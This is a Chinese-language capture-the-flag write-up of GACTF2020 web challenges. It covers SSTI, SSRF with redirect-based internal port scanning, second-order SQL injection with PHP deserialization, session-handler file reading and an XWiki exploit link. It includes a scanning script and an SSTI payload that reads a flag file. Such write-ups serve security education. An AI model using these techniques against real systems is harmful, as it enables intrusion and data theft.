0%

[GACTF2020]web

[GACTF2020]web

EZFLASK

打开题目给一份残缺的源码


# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

ctfhint是图样图森破。。。。欺负人
admin的路由不知道,eval简单测试之后至尊过滤,' " () {} [] |全部过滤,然后也把稍微可能危险的关键字也全部过滤了,os re sy config app什么的各种各样的全没了,看得我头痛

发现admin路由

至尊过滤的结果就是根本没法ssti,基本上啥也做不了,全靠无敌的老国王用__globals__发现了admin路由

post一个eval=admin.__globals__,(看到了一个admin路由后来getshell之后看源码,发现是把这个值在waf.py里面定义了一个全局变量),值为h4rdt0f1nd_9792uagcaca00qjaf,访问admin路由,是一个ssrf,使用http协议
提交ip port path三个参数,发起一次访问

ssrf

使用的是http协议,写死了之后就没法用file协议之类的去读取本地文件了,想直接扫描一下内网,发现192 127 172 10.0这几个字段都被ban了,内网也扫不动
后来师傅们又说python的requests库在发起访问的时候会__跟踪重定向__,所以在服务器上放一个重定向进行内网探测

<?php header("Location:http://127.0.0.1:5000/");

需要写一个脚本扫,一开始没想到把脚本放服务器上。。。想了半天怎么扫内网

import requests
import time

url = "http://124.70.206.91:10000/h4rdt0f1nd_9792uagcaca00qjaf"
for i in range(1024, 10000):
    # time.sleep(0.01)
    with open("/var/www/html/index.php", 'w') as f:
        f.write("<?php header('Location:http://127.0.0.1:{0}/');".format(i))
        f.close()
    data = {"ip": "xxxxxxx", "port": "80", "path": "index.php"}
    res = requests.post(url=url, data=data)
    if "requests error" not in res.text:
        print("[+]:" + str(i))
        print(res.text)

最后在5000端口发现另一个flask服务,给了源码还是个啥过滤都没有的ssti
说明了flag在config[“FLAG”],直接就可以了,啥过滤也没有还可以继续试着读读文件执行执行命令,就顺带看了一眼题目源码

其实ssti用的这些魔术方法还不是很熟练,还有就是一些flask内置的比如url_for,config,joiner什么的都不熟悉,需要另找时间学习一下

carefuleyes

给了源码的二次注入

在common.php对于输入的数据全局进行了转义
common.php

<?php
.....
$req = array();

foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
    foreach ($global_var as $key => $value) {
        is_string($value) && $req[$key] = addslashes($value);
    }
}

define("UPLOAD_DIR", "upload/");

function redirect($location) {
    header("Location: {$location}");
    exit;
}

class XCTFGG{
    private $method;
    private $args;

    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function login() {
        list($username, $password) = func_get_args();
        echo $username = strtolower(trim(($username)));
        echo $password = strtolower(trim(($password)));

        $sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'", $username, $password);

        global $db;
        $obj = $db->query($sql);

        $obj = $obj->fetch_assoc();

        global $FLAG;

        if ( $obj != false && $obj['privilege'] == 'admin'  ) {
            die($FLAG);
        } else {
            die("Admin only!");
        }
    }

    function __destruct() {
        @call_user_func_array(array($this, $this->method), $this->args);
    }

}
?>

上了一个对提交的数据的全局转义,定义了一个类,析构函数调用自己类的一个方法,login需要登一个admin用户获取flag,那么思路就应该很清晰的是注入获取admin账号密码,或者注入给自己加一个admin账号,通过反序列化调用这个login函数获取flag

upload.php

<?php
require_once "common.php";
if ($_FILES) {
    $file = $_FILES["upfile"];
    if ($file["error"] == UPLOAD_ERR_OK) {
        $name = basename($file["name"]);
        $path_parts = pathinfo($name);

        if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
            exit("error extension");
        }

        $path_parts["extension"] = "." . $path_parts["extension"];

        $name = $path_parts["filename"] . $path_parts["extension"];

        $path_parts['filename'] = addslashes($path_parts['filename']);

        $sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
        $fetch = $db->query($sql);

        if ($fetch->num_rows > 0) {
            exit("file is exists");
        }

        if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {
            $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";

            $re = $db->query($sql);
            if (!$re) {
                print_r($db->error);
                exit;
            }
            $url = "/" . UPLOAD_DIR . $name;
            echo "upload successfully!";
        } else {
            exit("upload error");
        }

    } else {
        exit;
    }
    if(isset($_GET["data"])) {
    unserialize($_GET["data"]);    
}
}

限制了后缀,文件名不能跨目录,吃了一次全局转义,所以这个文件里肯定不能发生注入,还接受一个data并进行反序列化

rename.php

<?php

require_once "common.php";

if (isset($req['oldname']) && isset($req['newname'])) {
    $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");

    if ($result->num_rows > 0) {
        $result = $result->fetch_assoc();
        $info = $db->query("select * from `file` where `filename`='{$result['filename']}'");
        $info = $info->fetch_assoc();
        echo "oldfilename : ".$info['filename']." will be changed.";
    } else {
        exit("old file doesn't exists!");
    }

    if ($result) {

        $req['newname'] = basename($req['newname']);

        $result['filename'] = addslashes($result['filename']);
        $re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");

        if (!$re) {
            print_r($db->error);
            exit;
        }

        $oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
        $newname = UPLOAD_DIR . $req["newname"] . $result["extension"];

        if (file_exists($oldname)) {
            rename($oldname, $newname);
        }
        $url = "/" . $newname;
        echo "Your file is rename, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
    }
}
?>
<!DOCTYPE html>
....

根据常规做题方法,二次注入的点应该在那个update那里,因为被转义的数据出库了,但是这里加了一个addslashes,而fid不可控,提交的newname吃了一个全局转移
但是这里有很奇怪的一步,他先用我们提交的oldname查询了一次,然后又用查询的结果作为文件名再查询一次,而第二次查询出来的结果就是一个没有被转义的注入语句,直接用union联合注入,这样子选出来的数据仍然是$info[‘filename’],在un.sql文件中已经直接获取了数据库的结构,直接查询就可以获得admin用户名和密码,再upload.php触发反序列化即可
(大概是最简单的一个题?我还在看代码的时候师傅就拿了二血了)
反序列化要上传文件的同时才能触发(有点无意义但是我被坑了一下下)

babyshop

点开是一个shop,给了钱,可以买一堆乱七八糟的东西,反正就是买flag的钱不够,有一个note功能可以添加一个签名,没有xss会被转义,一开始想的是获取源码之后可能有一个session反序列化,用note整出一个畸形session文件把钱改到99999之类的。

首先是.git源码泄漏,不知道为什么dirsearch坏了,还是手试试出来的,然后上githack,也坏了不能用,让另一个师傅帮忙下下来的。。。。
众多文件均没什么用,唯独一个init.php看得人头痛
全中文变量名加不明所以命名法加去除所有缩进的代码堆。第一眼就让人心态爆炸
先上网上找个在线工具把缩进加上来。。。但是还是看不懂,有各种各样的奇怪东西

可以先用var_dump(get_defined_vars())看看有什么东西
发现定义的几个global变量的值都是一些函数名

  '寻根' =>
  string(6) "strpos"
  '奇语切片' =>
  string(9) "str_split"
  '出窍' =>
  string(9) "array_pop"
  '遮天之术' =>
  string(13) "base64_decode"
  '虚空之数' =>
  int(0)
  '实打实在' =>
  bool(true)
  '虚无缥缈' =>
  bool(false)

发现这些函数名变量的使用都是动态调用,先全替换掉再说

造化之神类为加密类,定义了一万个乱七八糟的变量,融合函数就计算出了这些奇怪的变量的值,点灯和造化两个函数都是解密函数,可以把加密过的奇怪中文解码成正常一点的东西
这些傻逼玩意还是都先同一解码出来的好,写个小脚本完成

.....
init.php的内容

$file = file_get_contents("init.php");
preg_match_all("/造化\([^\$].*?\)/", $file, $match);
var_dump($match);
foreach($match[0] as $m) {
    $tmp = '111';
    eval('$tmp='."$m".";");
    $file = str_replace($m,$tmp,$file);
}
file_put_contents("result.php", $file);

把憨批造化全部替换成正常一点的东西,双手造物就是一个动态调用。测获赋这三个倒是很好理解,就是isset,get,set
还顺便把变量名改成了英文的。。。。全中文代码看起来就是怪怪的

第二个类造轮子,倒是很容易从名字上理解,重写的一个session的行为类,通过改造完的代码,看见了session_set_save_handler,然后把轮子类的一堆方法作为回调函数传了进去
顺便按照回调函数的名字把函数名字改了,整理完的代码看起来舒服多了

<?php

function is_set($内, $容)
{
    global ${$内};
    return isset(${$内}[$容]);
}
function get($内, $容)
{
    global ${$内};
    return @${$内}[$容];
}
function set($内, $容, $值)
{
    global ${$内};
    ${$内}[$容] = $值;
}

class CreateWheel
{
    protected $storage;
    protected $path;
    protected $save_path;
    protected $forbiden;
    public function __construct()
    {
        $this->dir = "storage";
        if (!is_dir($this->dir)) {
            mkdir($this->dir);
        }
        $this->forbiden = array("php", "html", "htaccess");
    }
    public function open($savePath, $sessionName)
    {
        foreach ($this->forbiden as $element) {
            if (stripos(get("_COOKIE", $sessionName), $element) !== false) {
                die("invaild "  . $sessionName);
            }
        }
        $this->save_path = session_id();
        return true;
    }
    public function close($path, $sess_value)
    {
        $this->path = $path;
        return file_put_contents($this->dir . "/sess_" . $path, $sess_value) === false ? false : true;
    }
    public function read($sessionID)
    {
        $this->path = $sessionID;
        return (string) @file_get_contents($this->dir . "/sess_" . $sessionID);
    }
    public function write($sessionID)
    {
        if (strlen($this->save_path) <= 0) {
            return false;
        }
        return file_put_contents($this->dir . "/note_" . $this->save_path, $sessionID) === false ? false : true;
    }
    public function destroy()
    {
        return (string) @file_get_contents($this->dir . "/note_". $this->path);
    }
    public function 思考($path)
    {
        $this->path = $path;
        if (file_exists($this->dir . "/sess_" . $path)) {
            unlink($this->dir . "/sess_" . $path);
        }
        return true;
    }
    public function 反省($path)
    {
        foreach (glob($this->dir . '/*') as $element) {
            if (filemtime($element) + $path < time() && file_exists($element)) {
                unlink($element);
            }
        }
        return true;
    }
    public function gc()
    {

        return true;
    }
    public function __destruct()
    {
        $this->write($this->destroy());
    }
}
$wheel = new CreateWheel();
session_set_save_handler(array($wheel, 'open'), array($wheel, 'close'), array($wheel, 'read'), array($wheel, 'write'), array($wheel, 'destroy'), array($wheel, 'gc'));

session_start();
srand(mktime(0, 0, 0, 0, 0, 0));
function 化缘()
{
    return get("_SESSION", "balance");
}
function 取经()
{
    global $盛世;
    $list = "[";
    foreach (get("_SESSION", "items") as $element)
    {
        $list .= $盛世[$element][0] . ', ' ;
    }
    $list .= "]";
    return $list;
}
function 念经()
{
    global $wheel;
    return $wheel->destroy();
}
function 造世()
{
    global $盛世;
    $宝藏 = '';
    foreach ($盛世 as $按键 => $元素) {
        $宝藏 .= '<div class="item"><form method="POST"><div class="form-group"> . $元素[0] . </div><div class="form-group"><input type="hidden" name="id" value=" . $按键 . "><button type="submit" class="btn btn-success">buy ($ . $元素[1] . )</button></div></form></div>';
    }
    return $宝藏;
}

翻了翻这几个函数的原型, read和write都接受的是session的值,完全可控,结果就是read和destroy是任意文件读取,而使用session的时候经过read函数,将$this->path赋值为我们可控的路径,调用念经函数,return $wheel->destroy();,destroy的path已经被赋值为路径,读取出flag

XWiki

用的XWiki框架,一开始看是个Java题就放弃了,结果有现成的payload直接打,后来师傅们出了我也没看后面怎么获取flag
https://jira.xwiki.org/browse/XWIKI-16960

SimpleFlask

没看的题,得到的知识点是ssti在拼接字符串的时候不需要加号也能把字符串拼起来,好像是过滤了getattr,空格加号之类的,就防止RCE,但是字符串拼接不需要加号也行(不是很懂
payloadjoiner.__init__.__globals__["__builtins__"]["open"]("/fl""ag").read()